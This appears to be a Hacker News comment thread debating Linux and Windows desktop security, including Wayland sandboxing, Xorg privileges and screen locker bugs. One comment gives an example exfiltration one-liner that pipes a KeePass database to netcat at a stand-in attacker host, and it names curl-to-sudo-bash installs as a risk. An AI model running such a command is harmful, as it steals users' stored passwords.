Wayland is supposed to fix most of those legacy shortcomings enabling proper app-level sandboxing. It took a while, but its implementations are more or less usable as daily drivers these days - if you're interested in desktop security, help to push Wayland to become a hassle free replacement of X is appreciated a lot
There is also pipewire going somewhat stable (I had issues with bluetooth but otherwise it worked perfectly), that would enable all these things without applications having to worry about the compository at all.
Things have improved recently (in part due to our own efforts to submit PRs to DEs), but we still need one implementation per DE more or less, since many don't implement the "common" Wayland protocol to accomplish this (Gnome, KDE).
This doesn't exists. Linux is more secure on the desktop because it doesn't attract hackers with its 1% market share and because its users are more tech savvy.
Arguably otherwise Windows has better defense because it comes with built-in virus scanner. Also both systems pretty much don't have any sane security policy for the end user at all by default, because they both are trying to defend from the wrong threat - privilege escalation, - which is irrelevant for desktop users 90% of the time.
I understand you clarified with “on the desktop” but the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user, etc are things which Windows is only just catching up with.
There are holes, but saying windows is more secure because it’s been attacked more ignores a huge part of the problem windows has had for generations: running as admin when you shouldn’t and sticking the UI into the kernel.
> the best practices that exist on Linux: (signed/audited/centralised) packages, mandatory access control, running as a standard user
These are standard practices on every OS that every sane admin implements. Again, just because someone's grandma runs windows 95 under Administrator, doesn't make modern deployments less secure. Also, by far the most popular command on linux is something like `curl -sL https://deb.nodesource.com/setup_12.x | sudo bash`. Do we need to discuss how your security configuration is irrelevant once you run this? This doesn't even require Xorg, and see about 'sudo' part below.
> sticking the UI into the kernel
Last time I checked, Xorg was running as root pretty much everywhere which if not at all different from security perspective.
But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account, doesn't matter if the account has admin privileges or not. If any of your desktop software is exploited via numerous vulnerabilities, or you ran custom script from the internet like the one above - even without sudo, - you are pretty much fucked, because these things can install a keylogger as current user and/or add a cron job or a daemon (again as current user) which will do obfuscated analog of `find ~ -name keepass.kdbx -print0 | xargs -0 cat | nc evil.haxxor.ru 1234` and it will go unnoticed for years.
Security model of all both Linux and Windows is so far behind the real world that it doesn't make any sense to discuss which one of them is more secure.
Xorg hasn't needed to run as root for a long time; kernel mode setting (KMS) removed the main reason for it to run as root. Its successor (Wayland) never runs as root (unless, of course, your user is root itself).
> But then again, privilege escalation is not the main risk for desktop user, because their data is readable by their OS account
The current push towards sandboxing (flatpak, sandboxed browser processes, etc) makes privilege escalation relevant for desktop users again.
> This doesn't exists.
It does exist, but as mentioned by the parent comment, that security superiority of Linux in contrast to Windows is a reputation it earned in the late 1990s and early 2000s; back then (before Windows XP SP2), Windows was a security disaster. Both Windows and Linux got better at security since then.
> Arguably otherwise Windows has better defense because it comes with built-in virus scanner.
Back then (before Windows Vista), it didn't. And one could also argue that this might be because Windows needs a virus scanner more than Linux does.
For hardware-accelerated compositing situations, it might have something to do with unnecessarily long / out-of order retention of the GPU frame buffer, which I could conceive of as being dismissed as inconsequential in most circumstances.
There is some writing from the author of xscreensaver which makes for fun reading. Displaying the desktop for a few seconds could be the least of your worries. There have been multiple security issues in the past in various screen lockers that let you completely bypass the password screen (probably all fixed today, but who knows what else could be lurking).
I won't link it directly because I think (?) his site displays something else when your Referer header is hacker news. This should provide you with an entry point, and there are multiple other linux screensaver issues over the past years linked from that post.
https://www.google.com/search?q=jwz xscreensaver "The awful thing about getting it right the first time is that nobody realizes how hard it was."
You can also search for "XScreenSaver: On Toolkit Dialogs", but I think it's linked in that blog post.
I have a 20.04 thinkpad that I rarely use for reasons (partly that it doesn't come out of suspend most of the time, forcing a hard reboot) but I remember this being a problem back when my Ubuntu install was functional :)
I had the same problem with my T14s (AMD). Installing kernel 5.8 via `apt install linux-generic-hwe-20.04-edge` solved the suspend issue for me.
I would be surprised if this isn't configurable. In fact, I'm pretty sure that XScreenSaver has exactly this "fade" parameter as a number of seconds and can be disabled. No idea about other screensavers.
I know what you're talking about, and I'm pretty sure it's a very GNOME-specific problem (or gdm, or whatever login manager they use by default...) because when I started out on Ubuntu earlier this year, there was a very active bug report about it. I could actually probably find it if anyone was curious.
But I've long since ditched gnome because well, I hate it. On KDE now and never had this problem. I'm pretty sure this is not an "all of linux" problem at all though.
I will give KDE a go!
It always struck me as a very strange phenomenon to occur given the apparent security superiority of Linux in contrast to Windows. Perhaps that's an antiquated notion now, given modern distros that prioritise form-over-function more than they used to?